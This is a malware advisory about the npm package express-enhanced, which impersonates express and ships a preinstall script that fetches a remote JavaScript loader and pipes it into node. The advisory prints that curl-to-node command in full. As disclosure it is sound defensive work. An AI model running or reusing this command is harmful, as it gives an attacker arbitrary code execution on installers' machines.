MAL-2026-17489 Malicious code in express-enhanced (npm)

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

[email protected] impersonates the express package: it ships the express README verbatim, declares TJ Holowaychuk as author, and points repository at expressjs/express, while publishing under a different name. The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at npm install time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.